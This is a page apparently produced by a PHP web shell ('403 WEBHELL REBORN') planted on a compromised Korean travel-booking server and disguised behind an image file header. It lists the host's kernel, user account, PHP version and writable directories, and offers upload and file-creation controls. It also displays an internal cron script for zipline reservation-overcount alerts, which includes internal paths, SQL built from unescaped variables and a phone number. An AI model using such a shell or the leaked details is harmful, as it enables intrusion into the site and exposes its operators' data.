ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/toadmin/alertServices/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/toadmin/alertServices/ziplineOverResPeopleCnt_cron.php
#!/usr/local/php/bin/php
<?php
include_once "/home/hosting_users/tktravelhosting/www/Lib/common_cron.php";

Log::save(sprintf("%s(%d) %s", __FILE__, __LINE__, "########## ZipLine Over Peopele Cnt API START ##########"), '', 'zipline/'.date('Ym'));

$tbName = "date";

$bUidList = array();

$checkHour = date("H",time());

if($checkHour >= 22 || $checkHour <= 9){
    echo "over";
    exit;
}



$todayDate = date("Y-m-d",time());

$branchInfo = array(
    '1852' => '짚라인 문경',
    '2037' => '짚라인 용인',
    '2123' => '용인 에코어드벤처',
);

$sql = "SELECT * FROM TB_RES_GOOD WHERE ev_start >= '{$todayDate}' AND g_uid IN (2037,1852,2123) AND cancel_dt IS NULL AND res_stat_cd = 'C' ORDER BY ev_start ASC";
Log::save(sprintf("%s(%d) ZipLine Over Select : %s", __FILE__, __LINE__, $sql), '', 'zipline/'.date('Ym'));
$res = db_query($sql);

$overResNumList = array();
//$overResNumList['1852'] = array();

$overResNumList[1852] = array();
$overResNumList[2037] = array();
$overResNumList[2123] = array();

while($dataRow = db_fetch_array($res)){
    if(isset($overResNumList[$dataRow['g_uid']][$dataRow['ev_start']]['ev_title'])){
        $overResNumList[$dataRow['g_uid']][$dataRow['ev_start']][$dataRow['ev_title']] += getResPeopleCnt($dataRow['res_no']);
    }
    $overResNumList[$dataRow['g_uid']][$dataRow['ev_start']][$dataRow['ev_title']] = getResPeopleCnt($dataRow['res_no']);
}

//p(count($overResNumList));
//p($overResNumList);

function getResPeopleCnt($resNo){
    $sql = "SELECT count(*) AS cnt FROM TB_RES_GOOD_PERSON WHERE res_no = '{$resNo}'";
    $data = db_fetch($sql);
    return (int) $data['cnt'];
}


//행사데이터 불러오기
$sql = "SELECT g_uid, d_title, d_start, d_people2 FROM date WHERE g_uid IN (2037,1852,2123) AND d_start >= '{$todayDate}'";
$res = db_query($sql);

$dateData = array();

while($dataRow = db_fetch_array($res)){
    $dateData[$dataRow['g_uid']][$dataRow['d_start']][$dataRow['d_title']] = $dataRow;
}
?>

<?php

$apiErrorResPhone = array('01063009528');

foreach($overResNumList as $key => $value){

    foreach($value as $key2 => $value2){

        foreach($value2 as $key3 => $value3){

            $dateResLimitCnt = (int) $dateData[$key][$key2][$key3]['d_people2'];
            if($key3 == '17:30' || $key3 == '18:00' || $key3 == '18:30'){
                continue;
            }


            $dateResLimitCnt = (int) $dateData[$key][$key2][$key3]['d_people2'];

            if($value3 > $dateResLimitCnt){
                //알림톡 발송
                $tpl = 'DEV_ERROR_ALERT';

                $keyword = array(
                    '서비스명'		=> '예약 인원 초과 알림',
                    '부서비스명'	=> '짚라인 인원 초과',
                    '에러명'		=> '예약 최대인원수를 넘는 행사 발견',
                    '예약번호'		=> '-',
                    '함수명'		=> '-',
                    '에러발생시간'		=> date("Y-m-d H:i:s"),
                    'Param1'		=> '상품명 : '.$branchInfo[$key],
                    'Param2'		=> '행사일 : '.$key2,
                    'Param3'		=> '행사명 : '.$key3,
                    'Param4'		=> '행사예약인원수 : '.$value3,
                    'Param5'		=> '',
                    'Param6'		=> '',
                );

                foreach($apiErrorResPhone as $toPhone){
                    $result = send_auto_alimtalk($tpl, "", $toPhone, $keyword);
                }
            }

            ?>
            <!--                    <p class="resPeopleCntArea" style="--><?php //=(($value3 > 12) ? 'color:red' : '')?><!--">--><?php //=$key3?><!-- - --><?php //=$value3?><!--명</p>-->
            <?php
        }

    }

}
?>

Anon7 - 2021